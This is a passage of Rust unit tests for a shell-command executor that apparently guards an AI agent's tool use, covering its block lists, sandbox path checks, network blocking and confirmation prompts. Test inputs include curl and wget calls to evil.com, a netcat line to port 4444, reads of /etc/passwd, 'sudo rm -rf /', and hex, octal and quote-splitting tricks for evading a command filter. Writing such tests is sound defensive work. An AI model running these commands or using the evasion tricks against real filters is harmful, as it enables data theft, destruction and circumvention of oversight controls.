1070        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1071        assert!(executor.find_blocked_command("reboot").is_some());
1072        assert!(executor.find_blocked_command("halt").is_some());
1073    }
1074
1075    #[test]
1076    fn nc_trailing_space_avoids_ncp() {
1077        let executor = ShellExecutor::new(&default_config());
1078        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1079    }
1080
1081    // --- user pattern normalization ---
1082
1083    #[test]
1084    fn mixed_case_user_patterns_deduped() {
1085        let config = ShellConfig {
1086            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1087            ..default_config()
1088        };
1089        let executor = ShellExecutor::new(&config);
1090        let count = executor
1091            .blocked_commands
1092            .iter()
1093            .filter(|c| c.as_str() == "sudo")
1094            .count();
1095        assert_eq!(count, 1);
1096    }
1097
1098    #[test]
1099    fn user_pattern_stored_lowercase() {
1100        let config = ShellConfig {
1101            blocked_commands: vec!["MyCustom".to_owned()],
1102            ..default_config()
1103        };
1104        let executor = ShellExecutor::new(&config);
1105        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1106        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1107    }
1108
1109    // --- allowed_commands tests ---
1110
1111    #[test]
1112    fn allowed_commands_removes_from_default() {
1113        let config = ShellConfig {
1114            allowed_commands: vec!["curl".to_owned()],
1115            ..default_config()
1116        };
1117        let executor = ShellExecutor::new(&config);
1118        assert!(
1119            executor
1120                .find_blocked_command("curl https://example.com")
1121                .is_none()
1122        );
1123        assert!(executor.find_blocked_command("sudo rm").is_some());
1124    }
1125
1126    #[test]
1127    fn allowed_commands_case_insensitive() {
1128        let config = ShellConfig {
1129            allowed_commands: vec!["CURL".to_owned()],
1130            ..default_config()
1131        };
1132        let executor = ShellExecutor::new(&config);
1133        assert!(
1134            executor
1135                .find_blocked_command("curl https://example.com")
1136                .is_none()
1137        );
1138    }
1139
1140    #[test]
1141    fn allowed_does_not_override_explicit_block() {
1142        let config = ShellConfig {
1143            blocked_commands: vec!["curl".to_owned()],
1144            allowed_commands: vec!["curl".to_owned()],
1145            ..default_config()
1146        };
1147        let executor = ShellExecutor::new(&config);
1148        assert!(
1149            executor
1150                .find_blocked_command("curl https://example.com")
1151                .is_some()
1152        );
1153    }
1154
1155    #[test]
1156    fn allowed_unknown_command_ignored() {
1157        let config = ShellConfig {
1158            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1159            ..default_config()
1160        };
1161        let executor = ShellExecutor::new(&config);
1162        assert!(executor.find_blocked_command("sudo rm").is_some());
1163        assert!(
1164            executor
1165                .find_blocked_command("curl https://example.com")
1166                .is_some()
1167        );
1168    }
1169
1170    #[test]
1171    fn empty_allowed_commands_changes_nothing() {
1172        let executor = ShellExecutor::new(&default_config());
1173        assert!(
1174            executor
1175                .find_blocked_command("curl https://example.com")
1176                .is_some()
1177        );
1178        assert!(executor.find_blocked_command("sudo rm").is_some());
1179        assert!(
1180            executor
1181                .find_blocked_command("wget http://evil.com")
1182                .is_some()
1183        );
1184    }
1185
1186    // --- Phase 1: sandbox tests ---
1187
1188    #[test]
1189    fn extract_paths_from_code() {
1190        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1191        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1192    }
1193
1194    #[test]
1195    fn extract_paths_handles_trailing_chars() {
1196        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1197        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1198    }
1199
1200    #[test]
1201    fn extract_paths_detects_relative() {
1202        let paths = extract_paths("cat ./file.txt ../other");
1203        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1204    }
1205
1206    #[test]
1207    fn sandbox_allows_cwd_by_default() {
1208        let executor = ShellExecutor::new(&default_config());
1209        let cwd = std::env::current_dir().unwrap();
1210        let cwd_path = cwd.display().to_string();
1211        let code = format!("cat {cwd_path}/file.txt");
1212        assert!(executor.validate_sandbox(&code).is_ok());
1213    }
1214
1215    #[test]
1216    fn sandbox_rejects_path_outside_allowed() {
1217        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1218        let executor = ShellExecutor::new(&config);
1219        let result = executor.validate_sandbox("cat /etc/passwd");
1220        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1221    }
1222
1223    #[test]
1224    fn sandbox_no_absolute_paths_passes() {
1225        let config = sandbox_config(vec!["/tmp".into()]);
1226        let executor = ShellExecutor::new(&config);
1227        assert!(executor.validate_sandbox("echo hello").is_ok());
1228    }
1229
1230    #[test]
1231    fn sandbox_rejects_dotdot_traversal() {
1232        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1233        let executor = ShellExecutor::new(&config);
1234        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1235        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1236    }
1237
1238    #[test]
1239    fn sandbox_rejects_bare_dotdot() {
1240        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1241        let executor = ShellExecutor::new(&config);
1242        let result = executor.validate_sandbox("cd ..");
1243        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1244    }
1245
1246    #[test]
1247    fn sandbox_rejects_relative_dotslash_outside() {
1248        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1249        let executor = ShellExecutor::new(&config);
1250        let result = executor.validate_sandbox("cat ./secret.txt");
1251        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1252    }
1253
1254    #[test]
1255    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1256        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1257        let executor = ShellExecutor::new(&config);
1258        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1259        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1260    }
1261
1262    #[test]
1263    fn has_traversal_detects_dotdot() {
1264        assert!(has_traversal("../etc/passwd"));
1265        assert!(has_traversal("./foo/../bar"));
1266        assert!(has_traversal("/tmp/sandbox/../../etc"));
1267        assert!(has_traversal(".."));
1268        assert!(!has_traversal("./safe/path"));
1269        assert!(!has_traversal("/absolute/path"));
1270        assert!(!has_traversal("no-dots-here"));
1271    }
1272
1273    #[test]
1274    fn extract_paths_detects_dotdot_standalone() {
1275        let paths = extract_paths("cd ..");
1276        assert_eq!(paths, vec!["..".to_owned()]);
1277    }
1278
1279    // --- Phase 1: allow_network tests ---
1280
1281    #[test]
1282    fn allow_network_false_blocks_network_commands() {
1283        let config = ShellConfig {
1284            allow_network: false,
1285            ..default_config()
1286        };
1287        let executor = ShellExecutor::new(&config);
1288        assert!(
1289            executor
1290                .find_blocked_command("curl https://example.com")
1291                .is_some()
1292        );
1293        assert!(
1294            executor
1295                .find_blocked_command("wget http://example.com")
1296                .is_some()
1297        );
1298        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1299    }
1300
1301    #[test]
1302    fn allow_network_true_keeps_default_behavior() {
1303        let config = ShellConfig {
1304            allow_network: true,
1305            ..default_config()
1306        };
1307        let executor = ShellExecutor::new(&config);
1308        // Network commands are still blocked by DEFAULT_BLOCKED
1309        assert!(
1310            executor
1311                .find_blocked_command("curl https://example.com")
1312                .is_some()
1313        );
1314    }
1315
1316    // --- Phase 2a: confirmation tests ---
1317
1318    #[test]
1319    fn find_confirm_command_matches_pattern() {
1320        let config = ShellConfig {
1321            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1322            ..default_config()
1323        };
1324        let executor = ShellExecutor::new(&config);
1325        assert_eq!(
1326            executor.find_confirm_command("rm /tmp/file.txt"),
1327            Some("rm ")
1328        );
1329        assert_eq!(
1330            executor.find_confirm_command("git push -f origin main"),
1331            Some("git push -f")
1332        );
1333    }
1334
1335    #[test]
1336    fn find_confirm_command_case_insensitive() {
1337        let config = ShellConfig {
1338            confirm_patterns: vec!["drop table".into()],
1339            ..default_config()
1340        };
1341        let executor = ShellExecutor::new(&config);
1342        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1343    }
1344
1345    #[test]
1346    fn find_confirm_command_no_match() {
1347        let config = ShellConfig {
1348            confirm_patterns: vec!["rm ".into()],
1349            ..default_config()
1350        };
1351        let executor = ShellExecutor::new(&config);
1352        assert!(executor.find_confirm_command("echo hello").is_none());
1353    }
1354
1355    #[tokio::test]
1356    async fn confirmation_required_returned() {
1357        let config = ShellConfig {
1358            confirm_patterns: vec!["rm ".into()],
1359            ..default_config()
1360        };
1361        let executor = ShellExecutor::new(&config);
1362        let response = "```bash\nrm file.txt\n```";
1363        let result = executor.execute(response).await;
1364        assert!(matches!(
1365            result,
1366            Err(ToolError::ConfirmationRequired { .. })
1367        ));
1368    }
1369
1370    #[tokio::test]
1371    async fn execute_confirmed_skips_confirmation() {
1372        let config = ShellConfig {
1373            confirm_patterns: vec!["echo".into()],
1374            ..default_config()
1375        };
1376        let executor = ShellExecutor::new(&config);
1377        let response = "```bash\necho confirmed\n```";
1378        let result = executor.execute_confirmed(response).await;
1379        assert!(result.is_ok());
1380        let output = result.unwrap().unwrap();
1381        assert!(output.summary.contains("confirmed"));
1382    }
1383
1384    // --- default confirm patterns test ---
1385
1386    #[test]
1387    fn default_confirm_patterns_loaded() {
1388        let config = ShellConfig::default();
1389        assert!(!config.confirm_patterns.is_empty());
1390        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1391        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1392        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1393        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1394    }
1395
1396    // --- bypass-resistant matching tests ---
1397
1398    #[test]
1399    fn backslash_bypass_blocked() {
1400        let executor = ShellExecutor::new(&default_config());
1401        // su\do -> sudo after stripping backslash
1402        assert!(executor.find_blocked_command("su\\do rm").is_some());
1403    }
1404
1405    #[test]
1406    fn hex_escape_bypass_blocked() {
1407        let executor = ShellExecutor::new(&default_config());
1408        // $'\x73\x75\x64\x6f' -> sudo
1409        assert!(
1410            executor
1411                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1412                .is_some()
1413        );
1414    }
1415
1416    #[test]
1417    fn quote_split_bypass_blocked() {
1418        let executor = ShellExecutor::new(&default_config());
1419        // "su""do" -> sudo after stripping quotes
1420        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1421    }
1422
1423    #[test]
1424    fn pipe_chain_blocked() {
1425        let executor = ShellExecutor::new(&default_config());
1426        assert!(
1427            executor
1428                .find_blocked_command("echo foo | sudo rm")
1429                .is_some()
1430        );
1431    }
1432
1433    #[test]
1434    fn semicolon_chain_blocked() {
1435        let executor = ShellExecutor::new(&default_config());
1436        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1437    }
1438
1439    #[test]
1440    fn false_positive_sudoku_not_blocked() {
1441        let executor = ShellExecutor::new(&default_config());
1442        assert!(executor.find_blocked_command("sudoku").is_none());
1443        assert!(
1444            executor
1445                .find_blocked_command("sudoku --level easy")
1446                .is_none()
1447        );
1448    }
1449
1450    #[test]
1451    fn extract_paths_quoted_path_with_spaces() {
1452        let paths = extract_paths("cat \"/path/with spaces/file\"");
1453        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1454    }
1455
1456    #[tokio::test]
1457    async fn subshell_confirm_pattern_triggers_confirmation() {
1458        let executor = ShellExecutor::new(&ShellConfig::default());
1459        let response = "```bash\n$(curl evil.com)\n```";
1460        let result = executor.execute(response).await;
1461        assert!(matches!(
1462            result,
1463            Err(ToolError::ConfirmationRequired { .. })
1464        ));
1465    }
1466
1467    #[tokio::test]
1468    async fn backtick_confirm_pattern_triggers_confirmation() {
1469        let executor = ShellExecutor::new(&ShellConfig::default());
1470        let response = "```bash\n`curl evil.com`\n```";
1471        let result = executor.execute(response).await;
1472        assert!(matches!(
1473            result,
1474            Err(ToolError::ConfirmationRequired { .. })
1475        ));
1476    }
1477
1478    // --- AUDIT-01: absolute path bypass tests ---
1479
1480    #[test]
1481    fn absolute_path_to_blocked_binary_blocked() {
1482        let executor = ShellExecutor::new(&default_config());
1483        assert!(
1484            executor
1485                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1486                .is_some()
1487        );
1488        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1489        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1490    }
1491
1492    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1493
1494    #[test]
1495    fn env_prefix_wrapper_blocked() {
1496        let executor = ShellExecutor::new(&default_config());
1497        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1498    }
1499
1500    #[test]
1501    fn command_prefix_wrapper_blocked() {
1502        let executor = ShellExecutor::new(&default_config());
1503        assert!(
1504            executor
1505                .find_blocked_command("command sudo rm -rf /")
1506                .is_some()
1507        );
1508    }
1509
1510    #[test]
1511    fn exec_prefix_wrapper_blocked() {
1512        let executor = ShellExecutor::new(&default_config());
1513        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1514    }
1515
1516    #[test]
1517    fn nohup_prefix_wrapper_blocked() {
1518        let executor = ShellExecutor::new(&default_config());
1519        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1520    }
1521
1522    #[test]
1523    fn absolute_path_via_env_wrapper_blocked() {
1524        let executor = ShellExecutor::new(&default_config());
1525        assert!(
1526            executor
1527                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1528                .is_some()
1529        );
1530    }
1531
1532    // --- AUDIT-03: octal escape bypass tests ---
1533
1534    #[test]
1535    fn octal_escape_bypass_blocked() {
1536        let executor = ShellExecutor::new(&default_config());
1537        // $'\163\165\144\157' = sudo in octal
1538        assert!(
1539            executor
1540                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1541                .is_some()
1542        );
1543    }
1544
1545    #[tokio::test]
1546    async fn with_audit_attaches_logger() {
1547        use crate::audit::AuditLogger;
1548        use crate::config::AuditConfig;
1549        let config = default_config();
1550        let executor = ShellExecutor::new(&config);
1551        let audit_config = AuditConfig {
1552            enabled: true,
1553            destination: "stdout".into(),
1554        };
1555        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1556        let executor = executor.with_audit(logger);
1557        assert!(executor.audit_logger.is_some());
1558    }
1559
1560    #[test]
1561    fn chrono_now_returns_valid_timestamp() {
1562        let ts = chrono_now();
1563        assert!(!ts.is_empty());
1564        let parsed: u64 = ts.parse().unwrap();
1565        assert!(parsed > 0);
1566    }
1567
1568    #[cfg(unix)]
1569    #[tokio::test]
1570    async fn execute_bash_injects_extra_env() {
1571        let mut env = std::collections::HashMap::new();
1572        env.insert(
1573            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1574            "hello-from-env".to_owned(),
1575        );
1576        let (result, code) = execute_bash(
1577            "echo $ZEPH_TEST_INJECTED_VAR",
1578            Duration::from_secs(5),
1579            None,
1580            None,
1581            Some(&env),
1582        )
1583        .await;
1584        assert_eq!(code, 0);
1585        assert!(result.contains("hello-from-env"));
1586    }
1587
1588    #[cfg(unix)]
1589    #[tokio::test]
1590    async fn shell_executor_set_skill_env_injects_vars() {
1591        let config = ShellConfig {
1592            timeout: 5,
1593            allowed_commands: vec![],
1594            blocked_commands: vec![],
1595            allowed_paths: vec![],
1596            confirm_patterns: vec![],
1597            allow_network: false,
1598        };
1599        let executor = ShellExecutor::new(&config);
1600        let mut env = std::collections::HashMap::new();
1601        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1602        executor.set_skill_env(Some(env));
1603        use crate::executor::ToolExecutor;
1604        let result = executor
1605            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1606            .await
1607            .unwrap()
1608            .unwrap();
1609        assert!(result.summary.contains("injected-value"));
1610        executor.set_skill_env(None);
1611    }
1612
1613    #[cfg(unix)]
1614    #[tokio::test]
1615    async fn execute_bash_error_handling() {
1616        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1617        assert_eq!(result, "(no output)");
1618        assert_eq!(code, 1);
1619    }
1620
1621    #[cfg(unix)]
1622    #[tokio::test]
1623    async fn execute_bash_command_not_found() {
1624        let (result, _) = execute_bash(
1625            "nonexistent-command-xyz",
1626            Duration::from_secs(5),
1627            None,
1628            None,
1629            None,
1630        )
1631        .await;
1632        assert!(result.contains("[stderr]") || result.contains("[error]"));
1633    }
1634
1635    #[test]
1636    fn extract_paths_empty() {
1637        assert!(extract_paths("").is_empty());
1638    }
1639
1640    #[tokio::test]
1641    async fn policy_deny_blocks_command() {
1642        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1643        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1644        let response = "```bash\nforbidden command\n```";
1645        let result = executor.execute(response).await;
1646        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1647    }
1648
1649    #[tokio::test]
1650    async fn policy_ask_requires_confirmation() {
1651        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1652        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1653        let response = "```bash\nrisky operation\n```";
1654        let result = executor.execute(response).await;
1655        assert!(matches!(
1656            result,
1657            Err(ToolError::ConfirmationRequired { .. })
1658        ));
1659    }
1660
1661    #[tokio::test]
1662    async fn policy_allow_skips_checks() {
1663        use crate::permissions::PermissionRule;
1664        use std::collections::HashMap;
1665        let mut rules = HashMap::new();
1666        rules.insert(
1667            "bash".to_owned(),
1668            vec![PermissionRule {
1669                pattern: "*".to_owned(),
1670                action: PermissionAction::Allow,
1671            }],
1672        );
1673        let policy = PermissionPolicy::new(rules);
1674        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1675        let response = "```bash\necho hello\n```";
1676        let result = executor.execute(response).await;
1677        assert!(result.is_ok());
1678    }
1679
1680    #[tokio::test]
1681    async fn blocked_command_logged_to_audit() {
1682        use crate::audit::AuditLogger;
1683        use crate::config::AuditConfig;
1684        let config = ShellConfig {
1685            blocked_commands: vec!["dangerous".to_owned()],
1686            ..default_config()
1687        };
1688        let audit_config = AuditConfig {
1689            enabled: true,
1690            destination: "stdout".into(),
1691        };
1692        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1693        let executor = ShellExecutor::new(&config).with_audit(logger);
1694        let response = "```bash\ndangerous command\n```";
1695        let result = executor.execute(response).await;
1696        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1697    }
1698
1699    #[test]
1700    fn tool_definitions_returns_bash() {
1701        let executor = ShellExecutor::new(&default_config());
1702        let defs = executor.tool_definitions();
1703        assert_eq!(defs.len(), 1);
1704        assert_eq!(defs[0].id, "bash");
1705        assert_eq!(
1706            defs[0].invocation,
1707            crate::registry::InvocationHint::FencedBlock("bash")
1708        );
1709    }
1710
1711    #[test]
1712    fn tool_definitions_schema_has_command_param() {
1713        let executor = ShellExecutor::new(&default_config());
1714        let defs = executor.tool_definitions();
1715        let obj = defs[0].schema.as_object().unwrap();
1716        let props = obj["properties"].as_object().unwrap();
1717        assert!(props.contains_key("command"));
1718        let req = obj["required"].as_array().unwrap();
1719        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1720    }
1721
1722    #[tokio::test]
1723    #[cfg(not(target_os = "windows"))]
1724    async fn cancel_token_kills_child_process() {
1725        let token = CancellationToken::new();
1726        let token_clone = token.clone();
1727        tokio::spawn(async move {
1728            tokio::time::sleep(Duration::from_millis(100)).await;
1729            token_clone.cancel();
1730        });
1731        let (result, code) = execute_bash(
1732            "sleep 60",
1733            Duration::from_secs(30),
1734            None,
1735            Some(&token),
1736            None,
1737        )
1738        .await;
1739        assert_eq!(code, 130);
1740        assert!(result.contains("[cancelled]"));
1741    }
1742
1743    #[tokio::test]
1744    #[cfg(not(target_os = "windows"))]
1745    async fn cancel_token_none_does_not_cancel() {
1746        let (result, code) =
1747            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1748        assert_eq!(code, 0);
1749        assert!(result.contains("ok"));
1750    }
1751
1752    #[tokio::test]
1753    #[cfg(not(target_os = "windows"))]
1754    async fn cancel_kills_child_process_group() {
1755        use std::path::Path;
1756        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1757        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1758        let token = CancellationToken::new();
1759        let token_clone = token.clone();
1760        tokio::spawn(async move {
1761            tokio::time::sleep(Duration::from_millis(200)).await;
1762            token_clone.cancel();
1763        });
1764        let (result, code) =
1765            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1766        assert_eq!(code, 130);
1767        assert!(result.contains("[cancelled]"));
1768        // Wait briefly, then verify the subprocess did NOT create the marker file
1769        tokio::time::sleep(Duration::from_millis(500)).await;
1770        assert!(
1771            !Path::new(&marker).exists(),
1772            "subprocess should have been killed with process group"
1773        );
1774    }
1775
1776    #[tokio::test]
1777    #[cfg(not(target_os = "windows"))]
1778    async fn shell_executor_cancel_returns_cancelled_error() {
1779        let token = CancellationToken::new();
1780        let token_clone = token.clone();
1781        tokio::spawn(async move {
1782            tokio::time::sleep(Duration::from_millis(100)).await;
1783            token_clone.cancel();
1784        });
1785        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1786        let response = "```bash\nsleep 60\n```";
1787        let result = executor.execute(response).await;
1788        assert!(matches!(result, Err(ToolError::Cancelled)));
1789    }
1790
1791    #[tokio::test]
1792    #[cfg(not(target_os = "windows"))]
1793    async fn execute_tool_call_valid_command() {
1794        let executor = ShellExecutor::new(&default_config());
1795        let call = ToolCall {
1796            tool_id: "bash".to_owned(),
1797            params: [("command".to_owned(), serde_json::json!("echo hi"))]
1798                .into_iter()
1799                .collect(),
1800        };
1801        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1802        assert!(result.summary.contains("hi"));
1803    }
1804
1805    #[tokio::test]
1806    async fn execute_tool_call_missing_command_returns_invalid_params() {
1807        let executor = ShellExecutor::new(&default_config());
1808        let call = ToolCall {
1809            tool_id: "bash".to_owned(),
1810            params: serde_json::Map::new(),
1811        };
1812        let result = executor.execute_tool_call(&call).await;
1813        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1814    }
1815
1816    #[tokio::test]
1817    async fn execute_tool_call_empty_command_returns_none() {
1818        let executor = ShellExecutor::new(&default_config());
1819        let call = ToolCall {
1820            tool_id: "bash".to_owned(),
1821            params: [("command".to_owned(), serde_json::json!(""))]
1822                .into_iter()
1823                .collect(),
1824        };
1825        let result = executor.execute_tool_call(&call).await.unwrap();
1826        assert!(result.is_none());
1827    }
1828}